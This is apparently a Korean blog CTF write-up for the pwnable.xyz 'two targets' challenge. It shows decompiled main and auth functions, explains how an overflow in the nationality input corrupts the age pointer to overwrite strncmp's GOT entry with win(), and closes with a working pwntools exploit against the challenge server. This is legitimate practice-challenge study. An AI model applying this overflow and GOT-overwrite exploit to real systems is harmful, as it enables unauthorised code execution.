pwnable.xyz - two targets

2021. 8. 1. 18:05Pwnable

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int input; // eax
  char name[32]; // [rsp+10h] [rbp-40h] BYREF
  _QWORD v5[4]; // [rsp+30h] [rbp-20h] BYREF

  v5[3] = __readfsqword(0x28u);
  setup(argc, argv, envp);
  memset(name, 0, 0x38uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      input = read_int32();                     // read 1~4
      if ( input != 2 )
        break;
      printf("nationality: ");
      scanf_("%24s", v5);
    }
    if ( input > 2 )
    {
      if ( input == 3 )
      {
        printf("age: ");
        scanf_("%d", v5[2]);
      }
      else if ( input == 4 )
      {
        if ( auth(name) )
          win();
      }
      else
      {
LABEL_14:
        puts("Invalid");
      }
    }
    else
    {
      if ( input != 1 )
        goto LABEL_14;
      printf("name: ");
      scanf_("%32s", name);
    }
  }
}

ida코드를 확인해보면 위와 같다

결론적으로 auth(name)의 return 값이 참이 되어야지 win() 함수를 실행시킬 수 있을 것이다.

_BOOL8 __fastcall auth(__int64 a1)
{
  signed int i; // [rsp+18h] [rbp-38h]
  char s1[8]; // [rsp+20h] [rbp-30h] BYREF
  __int64 v4; // [rsp+28h] [rbp-28h]
  __int64 v5; // [rsp+30h] [rbp-20h]
  __int64 v6; // [rsp+38h] [rbp-18h]
  unsigned __int64 v7; // [rsp+48h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  *s1 = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  for ( i = 0; i <= 31; ++i )
    s1[i] = ((*(a1 + i) >> 4) | (16 * *(a1 + i))) ^ *(main + i);
  return strncmp(s1, &s2, 0x20uLL) == 0;
}

auth 함수 내부는 위와 같다.

strncmp 함수 정보

리턴값이 -1 일 때 -> 두 문자열을 count까지 비교하여, 틀린 첫번째 문자가 string1이 더 작을 때 -1을 리턴합니다.
리턴값이 0 일 때 -> 두 문자열이 count까지의 문자열이 같습니다.
리턴값이 1 일 때 -> 두 문자열을 count까지 비교하여, 틀린 첫번째 문자가 string1이 더 클 때 1을 리턴합니다.

즉 s1 == s2 라는 조건을 충족시키면 return 의 값은 참이 되고, win함수를 실행시킬 수 있을 것이다.

라고 생각을했지만, 굳이 역연산 코드를 작성하며 풀이하는 것보다 got overwrite를 이용하는게 간단하겠다는 생각이 들었다.

main 코드를 확인해보면 nationality 부분을 입력받을때 24만큼 받게되는데 해당 부분은 0x10만큼만 nation 의 값이고 그 이후는 age의 영역을 침범한다.

bof가 발생하는 것이고, 해당 공간에 사용된 적이 없는 strncmp got 주소를 넣어준 뒤, age에 win_add 를 넣어줘서 got_overwrite가 동작 가능하고, auth 가 호출되면 strncmp를 호출하는 부분에서 바로 win 함수가 실행 가능할 것이다.

아래는 paylaod이다.

from pwn import *

#r = process("./challenge")
r = remote("svc.pwnable.xyz", 30031)
e = ELF("./challenge")
l = e.libc
context.log_level = "debug"

strcmp_got = e.got['strncmp']
win_add = e.sym['win']

r.sendlineafter("> ", "2")
r.sendlineafter("nationality: ", "A"*0x10 + p64(strcmp_got))
r.sendlineafter("> ", "3")
r.sendlineafter("age: ", str(int(win_add)))
r.sendlineafter("> ", "4")
print(r.recv())

 

'Pwnable' 카테고리의 다른 글

pwnable.xyz - Game  (0) 2021.08.05
pwnable.xyz - GrownUp  (0) 2021.08.02
dreamhack.io - seccomp  (0) 2021.07.31
dreamhack.io - cpp_smart_pointer_1  (0) 2021.07.29
pwnable.xyz - sub  (0) 2021.07.28